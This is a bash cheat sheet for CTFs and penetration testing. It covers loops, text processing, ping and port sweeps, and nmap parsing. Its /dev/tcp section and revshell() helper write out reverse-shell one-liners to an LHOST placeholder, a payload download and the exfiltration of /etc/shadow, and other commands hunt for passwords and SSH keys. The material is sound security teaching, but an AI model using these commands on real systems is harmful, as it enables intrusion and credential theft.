kavklaw@llm $ cat bash-scripting.md
Essential bash patterns, one-liners, and scripts for CTFs and pentesting.
# For loop — iterate over a range
for i in $(seq 1 254); do echo "10.10.10.$i"; done
# For loop — iterate over a list
for user in admin root guest test; do echo "Trying $user"; done
# For loop — iterate over file lines
while IFS= read -r line; do echo "$line"; done < users.txt
# For loop — C-style
for ((i=1; i<=100; i++)); do echo $i; done
# While loop
i=1; while [ $i -le 10 ]; do echo $i; ((i++)); done
# Infinite loop (useful for polling)
while true; do curl -s http://target/status; sleep 5; done
# Loop over command output
for port in $(cat open_ports.txt); do echo "Scanning $port"; done
# Parallel execution with & and wait
for i in $(seq 1 254); do
ping -c 1 -W 1 10.10.10.$i &
done
wait
# If/else
if [ -f "/etc/passwd" ]; then
echo "File exists"
else
echo "File not found"
fi
# String comparison
if [ "$response" == "200" ]; then echo "OK"; fi
if [[ "$output" == *"root"* ]]; then echo "Contains root"; fi
# Numeric comparison
if [ $port -gt 0 ] && [ $port -lt 65536 ]; then echo "Valid port"; fi
# File tests
[ -f file ] # File exists and is regular file
[ -d dir ] # Directory exists
[ -r file ] # File is readable
[ -w file ] # File is writable
[ -x file ] # File is executable
[ -s file ] # File exists and is not empty
# Command success test
if command -v python3 >/dev/null 2>&1; then
echo "Python3 available"
fi
# Ternary-style
[ -f /etc/shadow ] && echo "readable" || echo "not readable"
# Substring extraction
str="admin:password123"
echo ${str%%:*} # admin (remove from first : to end)
echo ${str#*:} # password123 (remove up to first :)
# String length
echo ${#str} # 18
# String replacement
str="Hello World"
echo ${str/World/Hacker} # Hello Hacker
echo ${str,,} # hello world (lowercase)
echo ${str^^} # HELLO WORLD (uppercase)
# Default values
echo ${var:-"default"} # Use "default" if $var is empty
echo ${var:="default"} # Set $var to "default" if empty
# Split string into array
IFS=':' read -ra parts <<< "user:pass:domain"
echo ${parts[0]} # user
echo ${parts[1]} # pass
# Remove whitespace
echo " hello " | tr -d ' '
echo " hello " | xargs
# Basic ping sweep
for i in $(seq 1 254); do
(ping -c 1 -W 1 10.10.10.$i | grep "64 bytes" | cut -d' ' -f4 | tr -d ':' &)
done; wait
# Faster with timeout
for i in $(seq 1 254); do
timeout 1 ping -c 1 10.10.10.$i >/dev/null 2>&1 && echo "10.10.10.$i is alive" &
done; wait
# Using /dev/tcp (no ping needed)
for i in $(seq 1 254); do
(echo > /dev/tcp/10.10.10.$i/80) 2>/dev/null && echo "10.10.10.$i:80 open" &
done; wait
# ARP scan alternative (local network)
arp-scan -l 2>/dev/null | grep -E "^[0-9]"
# Scan multiple subnets
for subnet in 10.10.10 10.10.11 192.168.1; do
for i in $(seq 1 254); do
(ping -c 1 -W 1 $subnet.$i | grep "64 bytes" &)
done
done; wait
# Simple port scanner using /dev/tcp
#!/bin/bash
TARGET=$1
for port in $(seq 1 1000); do
(echo > /dev/tcp/$TARGET/$port) 2>/dev/null && echo "[+] Port $port is open" &
done; wait
# Scan specific ports
for port in 21 22 23 25 53 80 110 139 143 443 445 993 995 1433 3306 3389 5432 8080; do
(echo > /dev/tcp/$TARGET/$port) 2>/dev/null && echo "[+] $port open"
done
# Full 65535 port scan (parallel)
#!/bin/bash
TARGET=$1
echo "[*] Scanning $TARGET..."
for port in $(seq 1 65535); do
(echo > /dev/tcp/$TARGET/$port) 2>/dev/null && echo "$port" &
done 2>/dev/null | sort -n
wait
echo "[*] Scan complete"
# Top ports scan with banner grab
for port in 21 22 80 443 445 3306 8080; do
result=$(echo "" | timeout 2 nc -nv $TARGET $port 2>&1)
if echo "$result" | grep -q "open\|Connected"; then
echo "[+] $port: $result"
fi
done
# Extract open ports from nmap output (comma-separated)
grep -oP '\d+/open' scan.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//'
# Output: 22,80,443,8080
# Extract open ports into variable
PORTS=$(grep -oP '\d+/open' scan.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
echo "Open ports: $PORTS"
# Use extracted ports in next scan
nmap -p $PORTS -sC -sV target
# Find hosts with specific port open
grep "80/open" scan.gnmap | cut -d' ' -f2
# Parse nmap normal output for services
grep "open" scan.nmap | awk '{print $1, $3}'
# Count open ports per host (from gnmap)
grep "Ports:" scan.gnmap | while IFS= read -r line; do
host=$(echo "$line" | cut -d' ' -f2)
ports=$(echo "$line" | grep -oP '\d+/open' | wc -l)
echo "$host: $ports open ports"
done
# Extract version info
grep "open" scan.nmap | awk -F'/' '{print $1}' | while read port; do
grep -A1 "$port/tcp" scan.nmap
done
# Convert nmap XML to HTML report
xsltproc scan.xml -o scan.html
#!/bin/bash
# auto-enum.sh — Quick enumeration script
TARGET=$1
OUTDIR="enum/$TARGET"
mkdir -p $OUTDIR
echo "[*] Starting enumeration on $TARGET"
# Nmap scan
echo "[*] Running nmap..."
nmap -p- --min-rate 5000 -T4 $TARGET -oA $OUTDIR/allports 2>/dev/null
PORTS=$(grep -oP '\d+/open' $OUTDIR/allports.gnmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
if [ -z "$PORTS" ]; then
echo "[-] No open ports found"
exit 1
fi
echo "[+] Open ports: $PORTS"
nmap -p $PORTS -sC -sV -oA $OUTDIR/detailed $TARGET
# Per-service enumeration
for port in $(echo $PORTS | tr ',' '\n'); do
case $port in
21)
echo "[*] FTP enumeration..."
nmap --script=ftp-anon -p 21 $TARGET >> $OUTDIR/ftp.txt
;;
80|443|8080|8443)
echo "[*] Web enumeration on port $port..."
curl -sI http://$TARGET:$port >> $OUTDIR/web-headers.txt
gobuster dir -u http://$TARGET:$port -w /usr/share/seclists/Discovery/Web-Content/common.txt -q >> $OUTDIR/gobuster-$port.txt 2>/dev/null &
;;
445)
echo "[*] SMB enumeration..."
smbclient -L //$TARGET -N >> $OUTDIR/smb.txt 2>&1
enum4linux -a $TARGET >> $OUTDIR/enum4linux.txt 2>&1 &
;;
*)
echo "[*] Port $port — manual review needed"
;;
esac
done
wait
echo "[+] Enumeration complete! Results in $OUTDIR/"
# /dev/tcp is a bash built-in (not a real file)
# Syntax: /dev/tcp/HOST/PORT
# Test if port is open
(echo > /dev/tcp/10.10.10.100/80) 2>/dev/null && echo "Open" || echo "Closed"
# Banner grab
exec 3<>/dev/tcp/10.10.10.100/22
cat <&3 &
sleep 1
kill %1 2>/dev/null
exec 3<&-
# Simple HTTP request
exec 3<>/dev/tcp/10.10.10.100/80
echo -e "GET / HTTP/1.1\r\nHost: 10.10.10.100\r\nConnection: close\r\n\r\n" >&3
cat <&3
exec 3<&-
# Download file via HTTP
exec 3<>/dev/tcp/LHOST/80
echo -e "GET /linpeas.sh HTTP/1.0\r\nHost: LHOST\r\n\r\n" >&3
cat <&3 > /tmp/linpeas.sh
exec 3<&-
# Reverse shell using /dev/tcp
bash -i >& /dev/tcp/LHOST/4444 0>&1
# Data exfiltration
exec 3<>/dev/tcp/LHOST/4444
cat /etc/shadow >&3
exec 3<&-
# Search for pattern
grep "password" file.txt
grep -i "password" file.txt # Case insensitive
grep -r "password" /var/www/ # Recursive
grep -rn "password" . # With line numbers
grep -v "comment" file.txt # Invert match (exclude)
grep -o "http://[^ ]*" file.txt # Only matching part
grep -c "error" log.txt # Count matches
grep -E "user|pass|key" file.txt # Extended regex (OR)
grep -P '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' file.txt # Perl regex — IPs
grep -l "password" *.conf # Files containing match
# Print specific columns
awk '{print $1}' file.txt # First column
awk '{print $1, $3}' file.txt # First and third
awk -F: '{print $1}' /etc/passwd # Custom delimiter
# Filter rows
awk '$3 > 1000' /etc/passwd # Where third field > 1000
awk -F: '$3 == 0 {print $1}' /etc/passwd # UID 0 users (root)
awk '/pattern/' file.txt # Lines matching pattern
# Count and sum
awk '{sum += $1} END {print sum}' numbers.txt
awk 'END {print NR}' file.txt # Count lines
# Nmap output processing
awk '/open/{print $1}' scan.nmap # Open ports
awk -F/ '/open/{print $1}' scan.nmap # Port numbers only
# Format output
awk -F: '{printf "%-20s %s\n", $1, $6}' /etc/passwd
# Replace text
sed 's/old/new/' file.txt # First occurrence per line
sed 's/old/new/g' file.txt # All occurrences
sed -i 's/old/new/g' file.txt # In-place edit
# Delete lines
sed '/pattern/d' file.txt # Delete matching lines
sed '1d' file.txt # Delete first line
sed '$d' file.txt # Delete last line
# Insert/append
sed '1i\Header line' file.txt # Insert before line 1
sed '$a\Footer line' file.txt # Append after last line
# Extract between patterns
sed -n '/START/,/END/p' file.txt
# Remove HTML tags
sed 's/<[^>]*>//g' page.html
# Remove blank lines
sed '/^$/d' file.txt
# Multiple operations
sed -e 's/foo/bar/g' -e 's/baz/qux/g' file.txt
# Cut by delimiter
cut -d: -f1 /etc/passwd # Username from passwd
cut -d: -f1,3 /etc/passwd # Username and UID
cut -d' ' -f2 file.txt # Second space-delimited field
# Cut by character position
cut -c1-10 file.txt # First 10 characters
cut -c5- file.txt # From character 5 to end
# Combine with other tools
cat /etc/passwd | cut -d: -f1 | sort # Sorted usernames
# Sort
sort file.txt # Alphabetical
sort -n file.txt # Numeric
sort -u file.txt # Unique only
sort -t: -k3 -n /etc/passwd # Sort by UID
# Unique
sort file.txt | uniq # Remove duplicates
sort file.txt | uniq -c | sort -rn # Count occurrences
# Translate/delete characters
tr 'a-z' 'A-Z' < file.txt # To uppercase
tr -d '\r' < windows.txt # Remove carriage returns
tr -s ' ' < file.txt # Squeeze spaces
echo "hello" | tr 'a-z' 'n-za-m' # ROT13
# Word/line/character count
wc -l file.txt # Line count
wc -w file.txt # Word count
wc -c file.txt # Byte count
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Find writable directories
find / -writable -type d 2>/dev/null
# Find files modified in last 5 minutes
find / -mmin -5 -type f 2>/dev/null
# Find files owned by specific user
find / -user admin -type f 2>/dev/null
# Find all config files
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null
# Grep for passwords in common locations
grep -rn "password\|passwd\|pwd\|secret\|key" /var/www/ 2>/dev/null
grep -rn "password\|passwd\|pwd" /etc/ 2>/dev/null
grep -rn "password" /opt/ /home/ 2>/dev/null
# Find all SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "authorized_keys" 2>/dev/null
# Process running services
ps aux | grep -v grep | awk '{print $11}' | sort -u
# Internal network discovery
ip a | grep "inet " | awk '{print $2}'
cat /etc/hosts
cat /etc/resolv.conf
ss -tlnp
netstat -tlnp
# Base64 decode
echo "encoded_string" | base64 -d
# Hex decode
echo "48656c6c6f" | xxd -r -p
# URL decode
python3 -c "import urllib.parse; print(urllib.parse.unquote('hello%20world'))"
# Generate wordlist from website
cewl http://target -w wordlist.txt
# Quick web server for file transfer
python3 -m http.server 80
# Add to ~/.bashrc for pentesting
# Target management
export TARGET="" # Set at start of each box
alias settarget='export TARGET=$1 && echo "Target: $TARGET"'
# Quick scanning
alias quickscan='sudo nmap -p- --min-rate 5000 -T4 $TARGET -oA nmap/allports'
alias deepscan='sudo nmap -p $(cat nmap/allports.gnmap | grep -oP "\d+/open" | cut -d"/" -f1 | tr "\n" "," | sed "s/,$//") -sC -sV -oA nmap/detailed $TARGET'
# Web enumeration
alias gobust='gobuster dir -u http://$TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50'
alias ffufdir='ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -fc 404'
# File transfer
alias serve='python3 -m http.server 80'
alias uploadserve='python3 -m uploadserver 80'
# Listeners
alias listen='rlwrap nc -lvnp'
alias listen4444='rlwrap nc -lvnp 4444'
# Common paths
alias seclist='ls /usr/share/seclists/'
alias rockyou='echo /usr/share/wordlists/rockyou.txt'
# Create working directory for a box
mkbox() {
mkdir -p "$1"/{nmap,loot,exploit,www}
cd "$1"
export TARGET=""
echo "Box directory created: $1"
echo "Set target: export TARGET=x.x.x.x"
}
# Quick extract open ports from nmap gnmap
getports() {
grep -oP '\d+/open' "$1" | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//'
}
# Generate reverse shell payload
revshell() {
local ip=$1 port=$2
echo "bash -i >& /dev/tcp/$ip/$port 0>&1"
echo ""
echo "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"$ip\",$port));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'"
}
#!/bin/bash
# script-name.sh — Description
# Usage: ./script-name.sh <target>
set -euo pipefail # Exit on error, undefined var, pipe fail
# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
# Functions
info() { echo -e "${GREEN}[+]${NC} $1"; }
warn() { echo -e "${YELLOW}[!]${NC} $1"; }
error() { echo -e "${RED}[-]${NC} $1"; }
# Argument check
if [ $# -lt 1 ]; then
error "Usage: $0 <target>"
exit 1
fi
TARGET=$1
# Main logic
info "Starting on $TARGET..."
# ... your code here ...
info "Done!"